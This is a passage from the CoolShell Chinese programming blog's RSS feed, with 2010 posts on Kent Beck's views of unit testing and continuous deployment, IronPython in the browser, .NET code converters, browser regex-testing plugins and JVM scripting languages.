/>\nKent：“很多程序员仅仅是拷贝和粘贴测试代码，但并不理解它们。所以我们经常能看到没有断言的测试，同时测试很多逻辑和功能的测试，过于臃肿或者过于短小的测试等等。当然这些错误在学习过程中很普遍，也是我们学习的一部分。”</p>\n<p>Roy：“你下一步最想尝试的新概念是什么？”<br />\nKent：“我最近谈论的一个主题是 Software G Forces，是关于软件产品的部署频率（Frequency of Deployment），这里的部署是指面向最终用户的部署或者说发布，是生产环境而非测试环境。从前的软件产品每年（或数年）发布一个新的版本，而现在的软件产品发布频率越来越快，从每季度，每月，每周，每天，直至每小时。Kent 提及有一些非常复杂的软件产品的发布频率甚至是每天 40 到 50 次。此时 Roy 提出了一个非常好的问题：“产品发布得如此频繁，我们如何能够在这么短的时间间隔内获得用户反馈呢？”，Kent 回答道：“持续部署（Continuous Deployment）确实需要一些基础设施建设来支持，比如：自动版本回滚，自动错误检测，系统同时运行多个版本的能力，比如一个服务器集群中不同的服务器上可以运行产品的不同版本。”</p>\n<p>Roy 问道：“当你在开发一个产品的时候，你在为客户创造价值，而持续部署创造的则是一种内在的价值，并且实施过程也是非常复杂的，你怎样投入时间去实施它呢？是否需要从产品设计的一开始就考虑这些问题呢？”，Kent 答道：“5 年之内市场上可能会有许多持续部署的产品出现，目前我们可能需要自己来寻求解决方案，因为现在它还是一个较新的领域。持续部署的重点之一是及时捕获系统错误，不仅仅是技术层面上的错误，同时也包括业务层面。以 Amazon.com 为例，他们评价系统运行的良好程度是以业务运营状况为依据的，如果销售额出现不明原因的下降，系统也会发出错误警告。”</p>\n<p>注：为了不让文章过长，下半部分的面向初创企业的精益方法（Lean Startups）将在后面发布。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2681.html\">Kent Beck 谈单元测试和持续部署</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2681.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>在Javascript里写Python</title>\n\t\t<link>https://coolshell.cn/articles/2688.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2688.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 21 Jul 2010 00:17:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[IronPython]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2688</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前，本站介绍过去一种写HTML和CSS的新方法，以一种杂交式的代码，昨天给大家介绍了.NET代码和Python及Ruby代码的互相转换工具，但是这个世界可能比...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2688.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2688.html\">在Javascript里写Python</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前，本站介绍过去一种<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2406.html\" target=\"_blank\">写HTML和CSS的新方法</a>，以<a href=\"https://coolshell.cn/articles/2529.html\" target=\"_blank\">一种杂交式的代码</a>，昨天给大家介绍了<a href=\"https://coolshell.cn/articles/2672.html\" target=\"_blank\">.NET代码和Python及Ruby代码的互相转换工具</a>，但是这个世界可能比我们想像的还疯狂。<a href=\"  http://ironpython.net/\" target=\"_blank\">IronPython</a> 是一个在.NET平台上运行Python的东西，就像那些在<a href=\"https://coolshell.cn/articles/2631.html\" target=\"_blank\">JVM上运行其它语言的东东</a>一样。当然，IronPython最邪恶的事情并不是在.NET上运行Python，而是在Javascript里写Python的语法。这个畸形混血儿的网址在<a href=\"http://ironpython.net/browser/\" target=\"_blank\">这里</a>（请注意翻墙）。</p>\n<p>使用这个玩意很简单，下面，让我们看看这个混血儿长啥样？</p>\n<p>首先，你需要链接一个js文件：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;script src=&quot;http://gestalt.ironpython.net/dlr-latest.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</pre>\n<p>然后，让我们看看如何写一个按钮事件：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;input id=&quot;button&quot; type=&quot;button&quot; value=&quot;Say, Hello!&quot; /&gt;\n&lt;script type=&quot;text/python&quot;&gt;\n  def button_onclick(s, e):\n      window.Alert(&quot;Hello from Python!&quot;)\n  document.button.events.onclick += button_onclick\n&lt;/script&gt;\n</pre>\n<p>你对此事怎么看？欢迎留下你的看法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2688.html\">在Javascript里写Python</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2688.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>.NET代码转换器</title>\n\t\t<link>https://coolshell.cn/articles/2672.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2672.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 20 Jul 2010 02:24:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[.NET编程]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[.NET]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[VB.NET]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2672</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>想把.NET的代码（C#和VB.NET)互转吗？或是转成Python或Ruby吗？在 http://www.developerfusion.com/ 站点上有这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2672.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2672.html\">.NET代码转换器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>想把.NET的代码（C#和VB.NET)互转吗？或是转成Python或Ruby吗？在 <a href=\"http://www.developerfusion.com/\" target=\"_blank\">http://www.developerfusion.com/</a> 站点上有这样的在线工具。点击下面的链接你可以使用这些工具。当然，这些工具也有很多<a href=\"http://feedback.developerfusion.com/pages/code_converter\" target=\"_blank\">BUG</a>。</p>\n<ul>\n<li><a href=\"http://www.developerfusion.com/tools/convert/csharp-to-vb/\" target=\"_blank\">把 C# 转成 VB.NET</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/csharp-to-python/\" target=\"_blank\">把 C# 转成 Python</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/csharp-to-ruby/\" target=\"_blank\">把 C# 转成Ruby</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/vb-to-csharp/\" target=\"_blank\">把 VB.NET 转成C#</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/vb-to-python/\" target=\"_blank\">把 VB.NET 转成 Python</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/vb-to-ruby/\" target=\"_blank\">把 VB.NET 转成 Ruby</a></li>\n</ul>\n<p>老实说，我并不太清楚这些工具有什么用，看似很useless。难道是为了用来学习新的语言？就像Google的Translator的一样？就像一个并不懂中文的老外可以用Google Translator在其Facebook中整点中文耍耍酷一样，难道说，一个C#的程序员可以用这样的工具和一个Python的程序员也耍耍酷？各位看客觉得这个东西有意义吗？</p>\n<p>不过，有一点我可以确定，如果有工具把Unix/Linux下的C源码和Windows下的C源码相互自动转换，估计这会是相当划时代的，因为，这应该会让那些什么Wine或Cygwin之类的东西都统统会成为历史了。不过，这样的东西在实现上又将会有多么大的难度（OS系统API的相互转换），这个事会有可行性吗？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"一个浮点数跨平台产生的问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_title\">一个浮点数跨平台产生的问题</a></li><li ><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" alt=\"一些非常不错的资料\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_title\">一些非常不错的资料</a></li><li ><a href=\"https://coolshell.cn/articles/3008.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Windows编程革命简史\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3008.html\" class=\"wp_rp_title\">Windows编程革命简史</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2672.html\">.NET代码转换器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2672.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>浏览器正则表达式检查插件</title>\n\t\t<link>https://coolshell.cn/articles/2667.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2667.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 20 Jul 2010 00:10:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Chrome]]></category>\n\t\t<category><![CDATA[Firefox]]></category>\n\t\t<category><![CDATA[正则表达式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2667</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站介绍过一个在线的《正则表达式生成器》，下面是两个在浏览器中检查正则表达式的插件，Firefox的和Chrome的，希望对你有用。 1）Firefox：R...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2667.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站介绍过一个在线的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1830.html\" target=\"_blank\">正则表达式生成器</a>》，下面是两个在浏览器中检查正则表达式的插件，Firefox的和Chrome的，希望对你有用。</p>\n<h3>1）Firefox：<a href=\"https://addons.mozilla.org/en-US/firefox/addon/2077/\" target=\"_blank\">Regular Expressions Tester</a></h3>\n<figure style=\"width: 448px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" title=\"Firefox正规则表达式检查插件Regular Expressions Tester\" src=\"http://sebastianzartner.de/new/resources/images/RExT/main.png\" alt=\"\" width=\"448\" height=\"489\" /><figcaption class=\"wp-caption-text\">Firefox正规则表达式检查插件Regular Expressions Tester</figcaption></figure>\n<h3></h3>\n<h3>2）Chrome：<a href=\"https://chrome.google.com/extensions/detail/pgnkpcgniljiolidjmodgfljeomjjiha\" target=\"_blank\">Regular Expression Checker</a></h3>\n<p><span id=\"more-2667\"></span></p>\n<p><figure style=\"width: 544px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" title=\"Chrome正规则表达式检查插件Regular Expression Checker\" src=\"https://chrome.google.com/extensions/img/pgnkpcgniljiolidjmodgfljeomjjiha/1264182031.53/screenshot_big/2001\" alt=\"\" width=\"544\" height=\"580\" /><figcaption class=\"wp-caption-text\">Chrome正规则表达式检查插件Regular Expression Checker</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-150x150.jpg\" alt=\"Mozilla的一个BUG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_title\">Mozilla的一个BUG</a></li><li ><a href=\"https://coolshell.cn/articles/2704.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"检查素数的正则表达式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2704.html\" class=\"wp_rp_title\">检查素数的正则表达式</a></li><li ><a href=\"https://coolshell.cn/articles/2367.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR-150x150.png\" alt=\"谷歌Chrome取消&#8221;http://&#8221;\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2367.html\" class=\"wp_rp_title\">谷歌Chrome取消&#8221;http://&#8221;</a></li><li ><a href=\"https://coolshell.cn/articles/2069.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/01/browser_history-150x150.jpg\" alt=\"一个浏览器市场占有量的图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2069.html\" class=\"wp_rp_title\">一个浏览器市场占有量的图</a></li><li ><a href=\"https://coolshell.cn/articles/1830.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"正则表达式生成器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1830.html\" class=\"wp_rp_title\">正则表达式生成器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2667.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>五大基于JVM的脚本语言</title>\n\t\t<link>https://coolshell.cn/articles/2631.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2631.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 19 Jul 2010 11:40:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Clojure]]></category>\n\t\t<category><![CDATA[Fantom]]></category>\n\t\t<category><![CDATA[Groovy]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[JavaFX]]></category>\n\t\t<category><![CDATA[JRuby]]></category>\n\t\t<category><![CDATA[JVM]]></category>\n\t\t<category><![CDATA[Jython]]></category>\n\t\t<category><![CDATA[NetRexx]]></category>\n\t\t<category><![CDATA[Scala]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2631</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得以前本站的一篇文章《如何在Google App Engine上运行PHP》吗，其实那是借用 Quercus， 一个 100% 的用Java 实现的一个 P...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2631.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得以前本站的一篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/531.html\" target=\"_blank\">如何在Google App Engine上运行PHP</a>》吗，其实那是借用 <a href=\"http://www.caucho.com/resin-3.0/quercus/\">Quercus</a>， 一个 100% 的用Java 实现的一个 PHP 引擎。今天，这样的东西太多了，能运行在Java的虚拟机JVM上的程序意味着有天然的跨平台性，现在JVM并不单单只能运行Java程序，在JVM上出现了若干使用Java虚拟机运行的脚本程序，比如什么PHP, Python, Ruby等等，这里有一篇<a href=\"http://infoworld.com/d/developer-world/top-five-scripting-languages-the-jvm-855\" target=\"_blank\">文章</a>评论了在JVM上的可以运行的排名前五脚本语言。他们分别是：</p>\n<ol>\n<li><a href=\"http://groovy.codehaus.org/\" target=\"_blank\"> <strong>Groovy</strong></a>。构建在强大的Java语言之上 并添加了从Python，Ruby和Smalltalk等语言中学到的诸多特征，为Java开发者提供了现代最流行的编程语言特性，而且学习成本很低（几乎为零），在开发Web，GUI，数据库或控制台程序时， 通过减少框架性代码 大大提高了开发者的效率。支持单元测试和模拟（对象），可以简化测试。无缝集成 所有已经存在的 Java对象和类库。直接编译成Java字节码，这样可以在任何使用Java的地方 使用Groovy。</li>\n<li><a href=\"http://jruby.org/\" target=\"_blank\"><strong>JRuby</strong></a>。一个纯Java实现的Ruby解释器。通过JRuby，你可以在JVM上直接运行Ruby程序，调用Java的类库。很多Java编写的Ruby IDE都是使用JRuby来解释语法的。</li>\n<li><a href=\"http://www.scala-lang.org/\" target=\"_blank\"> <strong>Scala</strong></a>。一种多范式的编程语言，设计意图是要整合面向对象编程和函数式编程的各种特性。Scala编程语言近来抓住了很多开发者的眼球。它看起来像是一种纯粹的面向对象编程语言，而又无缝地结合了命令式和函数式的编程风格。Scala的名称表明，它还是一种高度可伸缩的语言。Scala的设计始终贯穿着一个理念：创造一种更好地支持组件的语言。</li>\n<li><a href=\"http://fantom.org/\" target=\"_blank\"><strong>Fantom </strong></a>。Fantom 前身是 (Fan) 是一个基于 Java 和 .NET 平台的编程脚本引擎，用来在运行时产生 JVM 和 .NET 平台的字节码，该语言是面向对象的，跟 Groovy 和 JRuby 有点类似，可通过特定的接口来集成 Java 的类库。</li>\n<li><a href=\"http://www.jython.org/\" target=\"_blank\"><strong>Jython</strong></a>。Jython由于继承了Java和Python二者的特性而显得很独特。其是一种完整的语言，而不是一个Java翻译器或仅仅是一个Python编译器，它是一个Python语言在Java中的完全实现。Jython也有很多从CPython中继承的模块库。最有趣的事情是Jython不像CPython或其他任何高级语言，它提供了对其实现语言的一切存取。所以Jython不仅给你提供了Python的库，同时也提供了所有的Java类。这使其有一个巨大的资源库。</li>\n</ol>\n<p><a href=\"http://www.infoworld.com/d/developer-world/top-five-scripting-languages-the-jvm-855?page=0,1#jvm1\"></a></p>\n<p><a 